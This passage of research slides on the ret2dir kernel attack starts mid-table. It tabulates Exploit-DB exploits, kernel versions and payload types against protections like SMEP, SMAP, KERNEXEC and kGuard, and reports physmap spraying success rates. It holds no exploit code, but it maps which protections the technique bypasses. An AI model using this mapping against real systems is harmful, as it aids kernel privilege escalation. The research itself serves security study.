<td>3.5</td>
<td>SHELLCODE</td>
<td>KERNEXEC</td>
<td></td>
</tr>
<tr>
<td>15944</td>
<td>x86</td>
<td>2.6.33.6</td>
<td>STRUCT+ROP</td>
<td>KERNEXEC</td>
<td>UDEREF</td>
</tr>
<tr>
<td>15704</td>
<td>x86</td>
<td>2.6.35.8</td>
<td>STRUCT+ROP</td>
<td>KERNEXEC</td>
<td>UDEREF</td>
</tr>
<tr>
<td>15285</td>
<td>x86-64</td>
<td>2.6.33.6</td>
<td>ROP/SHELLCODE</td>
<td>KERNEXEC</td>
<td>UDEREF</td>
</tr>
<tr>
<td>15150</td>
<td>x86</td>
<td>2.6.35.8</td>
<td>STRUCT</td>
<td></td>
<td>UDEREF</td>
</tr>
<tr>
<td>15023</td>
<td>x86-64</td>
<td>2.6.33.6</td>
<td>STRUCT+ROP</td>
<td>KERNEXEC</td>
<td>UDEREF</td>
</tr>
<tr>
<td>14814</td>
<td>x86</td>
<td>2.6.33.6</td>
<td>STRUCT+ROP</td>
<td>KERNEXEC</td>
<td>UDEREF</td>
</tr>
<tr>
<td>Custom</td>
<td>x86</td>
<td>3.12</td>
<td>STRUCT+ROP</td>
<td>KERNEXEC</td>
<td>UDEREF</td>
</tr>
<tr>
<td>Custom</td>
<td>x86-64</td>
<td>3.12</td>
<td>STRUCT+ROP</td>
<td>KERNEXEC</td>
<td>UDEREF</td>
</tr>
<tr>
<td>Custom</td>
<td>AArch32</td>
<td>3.8.7</td>
<td>STRUCT+SHELLCODE</td>
<td>KERNEXEC</td>
<td>UDEREF</td>
</tr>
<tr>
<td>Custom</td>
<td>AArch64</td>
<td>3.12</td>
<td>STRUCT+SHELLCODE</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
## Evaluation

**ret2dir effectiveness**

<table>
<thead>
<tr>
<th>EDB-ID</th>
<th>Arch.</th>
<th>Kernel</th>
<th>Payload</th>
<th>Protection</th>
<th>Bypassed</th>
</tr>
</thead>
<tbody>
<tr>
<td>26131</td>
<td>x86/x86-64</td>
<td>3.5/3.8</td>
<td>ROP/SHELLCODE</td>
<td>KERNEXEC, UDEREF, kGuard</td>
<td>SMEP, SMAP</td>
</tr>
<tr>
<td>24746</td>
<td>x86-64</td>
<td>3.5</td>
<td>SHELLCODE</td>
<td>KERNEXEC</td>
<td></td>
</tr>
<tr>
<td>15944</td>
<td>x86</td>
<td>2.6.33.6</td>
<td>STRUCT+ROP</td>
<td>KERNEXEC, UDEREF, kGuard</td>
<td></td>
</tr>
<tr>
<td>15704</td>
<td>x86</td>
<td>2.6.35.8</td>
<td>STRUCT+ROP</td>
<td>KERNEXEC, UDEREF, kGuard*</td>
<td></td>
</tr>
<tr>
<td>15285</td>
<td>x86-64</td>
<td>2.6.33.6</td>
<td>ROP/SHELLCODE</td>
<td>KERNEXEC, UDEREF, kGuard</td>
<td></td>
</tr>
<tr>
<td>15150</td>
<td>x86</td>
<td>2.6.35.8</td>
<td>STRUCT</td>
<td></td>
<td>UDEREF</td>
</tr>
<tr>
<td>15023</td>
<td>x86-64</td>
<td>2.6.33.6</td>
<td>STRUCT+ROP</td>
<td>KERNEXEC, UDEREF, kGuard*</td>
<td></td>
</tr>
<tr>
<td>14814</td>
<td>x86</td>
<td>2.6.33.6</td>
<td>STRUCT+ROP</td>
<td>KERNEXEC, UDEREF, kGuard*</td>
<td></td>
</tr>
<tr>
<td>Custom</td>
<td>x86</td>
<td>3.12</td>
<td>STRUCT+ROP</td>
<td>KERNEXEC, UDEREF, kGuard*</td>
<td>SMEP, SMAP</td>
</tr>
<tr>
<td>Custom</td>
<td>x86-64</td>
<td>3.12</td>
<td>STRUCT+ROP</td>
<td>KERNEXEC, UDEREF, kGuard*</td>
<td>SMEP, SMAP</td>
</tr>
<tr>
<td>Custom</td>
<td>AArch32</td>
<td>3.8.7</td>
<td>STRUCT+SHELLCODE</td>
<td>KERNEXEC, UDEREF, kGuard</td>
<td></td>
</tr>
<tr>
<td>Custom</td>
<td>AArch64</td>
<td>3.12</td>
<td>STRUCT+SHELLCODE</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Evaluation (cont’d)

Spraying performance

- Physical Memory: 1GB, 2GB, 4GB, 8GB, 16GB
- Success Probability: 0, 0.2, 0.4, 0.6, 0.8, 1
- Idle, Browsing, Kernel Build

- 2x 2.66GHz quad core Xeon X5500, 16GB RAM, 64-bit Debian Linux v7
- 5 repetitions of the same experiment, 95% confidence intervals (error bars)
Evaluation (cont’d)

Spraying performance

<table>
<thead>
<tr>
<th>Physical Memory</th>
<th>Success Probability</th>
</tr>
</thead>
<tbody>
<tr>
<td>1GB</td>
<td>0.66 ± 0.04</td>
</tr>
<tr>
<td>2GB</td>
<td>0.88</td>
</tr>
<tr>
<td>4GB</td>
<td>0.91</td>
</tr>
<tr>
<td>8GB</td>
<td>0.93</td>
</tr>
<tr>
<td>16GB</td>
<td>0.95</td>
</tr>
</tbody>
</table>

- 2x 2.66GHz quad core Xeon X5500, 16GB RAM, 64-bit Debian Linux v7
- 5 repetitions of the same experiment, 95% confidence intervals (error bars)
Summary
Kernel isolation is hard

- Loosely mixing security domains is a bad idea
  - $\times$ Shared kernel/process model $\rightarrow$ ret2usr
  - $\times$ physmap region(s) in kernel space $\rightarrow$ ret2dir

- ret2dir $\rightsquigarrow$ Deconstructs the isolation guarantees of ret2usr protections (SMEP/SMAP, PXN, PaX, kGuard)

Code
http://www.cs.columbia.edu/~vpk/research/ret2dir/